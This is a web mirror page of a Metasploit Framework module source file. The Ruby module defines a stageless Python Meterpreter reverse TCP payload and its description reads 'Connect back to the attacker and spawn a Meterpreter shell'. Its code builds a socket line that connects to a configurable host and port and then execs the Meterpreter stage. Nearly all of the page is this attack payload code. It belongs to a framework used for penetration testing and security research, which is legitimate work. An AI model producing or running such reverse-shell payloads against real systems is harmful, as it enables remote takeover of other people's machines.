CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/python/meterpreter_reverse_tcp.rb
Views: 11766
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = :dynamic
10
11
include Msf::Payload::Single
12
include Msf::Payload::Python
13
include Msf::Payload::Python::ReverseTcp
14
include Msf::Payload::Python::MeterpreterLoader
15
16
def initialize(info = {})
17
super(merge_info(info,
18
'Name' => 'Python Meterpreter Shell, Reverse TCP Inline',
19
'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',
20
'Author' => 'Spencer McIntyre',
21
'License' => MSF_LICENSE,
22
'Platform' => 'python',
23
'Arch' => ARCH_PYTHON,
24
'Handler' => Msf::Handler::ReverseTcp,
25
'Session' => Msf::Sessions::Meterpreter_Python_Python
26
))
27
end
28
29
def generate_reverse_tcp(opts={})
30
socket_setup = "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
31
socket_setup << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
32
opts[:stageless_tcp_socket_setup] = socket_setup
33
opts[:stageless] = true
34
35
met = stage_meterpreter(opts)
36
py_create_exec_stub(met)
37
end
38
end
39
40